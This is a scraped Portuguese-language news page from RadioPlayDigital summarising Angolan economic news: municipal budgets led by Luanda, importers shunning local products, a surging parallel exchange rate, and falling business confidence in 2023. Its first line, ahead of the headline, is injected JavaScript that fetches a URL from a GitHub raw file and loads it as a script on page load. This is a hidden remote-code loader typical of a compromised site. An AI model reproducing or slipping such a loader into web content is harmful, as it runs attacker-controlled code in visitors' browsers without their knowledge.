;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Economia sem makas: Luanda monopoliza 7 dos 10 municípios mais ricos do país | RadioPlayDigital
Economia sem makas: Luanda monopoliza 7 dos 10 municípios mais ricos do país
  • Luanda monopoliza 7 dos 10 municípios mais ricos do país

O maior município em termos de dinheiro é o município de Luanda com 55 mil milhões de kwanzas, o município de Luanda gere mais dinheiro do que uma parte importante dos Ministérios, depois de Luanda está Viana, Cacuaco, Cazenga, Belas, Talatona e Icolo e Bengo com 13 mil milhões de kwanzas. Fora da província de Luanda temos o município de Benguela com 35 mil milhões de kwanzas, e o Lobito com 12,7 mil milhões de kwanzas e Cabinda que está ligeiramente acima do Lobito. 

O município que tem menos dinheiro é o município do Quitexe (Uíge) com 1,7 mil milhões de kwanzas. 

 

  • Importações mais difíceis ameaçam inflação

Empresários, economistas e comerciantes apontam como principais causas da recusa dos produtos produzidos em Angola os preços e a qualidade, as marcas já reconhecidas no mercado internacional e o fato de muitos importadores terem já os seus parceiros tradicionais.

O ministro de Estado angolano para a Coordenação Económica, José de Lima Massano, lamentou recentemente que investidores grossistas se tenham recusado a adquirir produtos feitos em Angola.

Ao falar à imprensa, aquele governante admitiu que, como consequência, alguns produtores nacionais encontram dificuldades na colocação dos seus produtos nos centros comerciais, onde há uma forte concorrência de produtos importados.

Massano anunciou que “o Ministério da Indústria e Comércio e o Ministério da Economia e Planeamento vão reunir-se com os principais produtores de bens alimentares nessa condição para tentarmos aproximá-los”.

 

  • Câmbio paralelo dispara

Falta de divisas na banca e atrasos nas transferências levam empresas e particulares a recorrer às kinguilas, o que fez disparar a taxa de câmbio no mercado informal. As ruas funcionam como barómetro para o valor real da moeda nacional pelo que se o BNA não estivesse a prender o câmbio, a moeda norte-americana estaria hoje mais próxima dos 1.000 Kz. E o cenário próximo não é animador.

O mercado cambial tem estado praticamente parado nos últimos três meses, numa espécie de um regresso ao regime cambial fixo, o que para os especialistas tem como principal risco uma forte desvalorização da moeda nacional quando voltar, de facto, ao sistema flutuante. Se no mercado formal (bancos) o câmbio está parado, no informal (kinguilas) a taxa está a subir, já que os bancos estão sem divisas e atrasam as transferências para o exterior, pondo em causa negócios de muitas empresas e famílias com responsabilidades fora do País, o que leva empresas e particulares a recorrer às kinguilas, fazendo disparar a taxa de câmbio no mercado informal. Com isso, eleva-se o diferencial, ou gap, entre mercado formal e informal, que praticamente já estava resolvido desde 2021.

 

  • Confiança dos empresários volta a cair 

Crise cambial, falta de produtos intermédios, dificuldades financeiras, equipamentos insuficientes, ausência de mão-de-obra qualificada e excesso da burocracia são alguns dos constrangimentos. Contribuíram para esta queda, a carteira de encomendas actual, ruptura de stocks, perspectiva de actividade e as perspectivas de criação de emprego.

O pessimismo dos gestores e dos patrões sobre as perspectivas de evolução da economia angolana aumentou, revela o inquérito sobre a conjuntura económica às empresas do II trimestre de 2023, publicado pelo Instituto Nacional de Estatística (INE), no mês passado.

O indicador de clima económico (ICE), que avalia as expectativas dos empresários sobre a evolução da economia no curto prazo, caiu dois pontos de 14 pontos positivos no primeiro trimestre de 2023 para 12 pontos no II trimestre, o valor mais baixo desde o terceiro trimestre do ano passado, quando o indicador se fixou nos 6 pontos.

 

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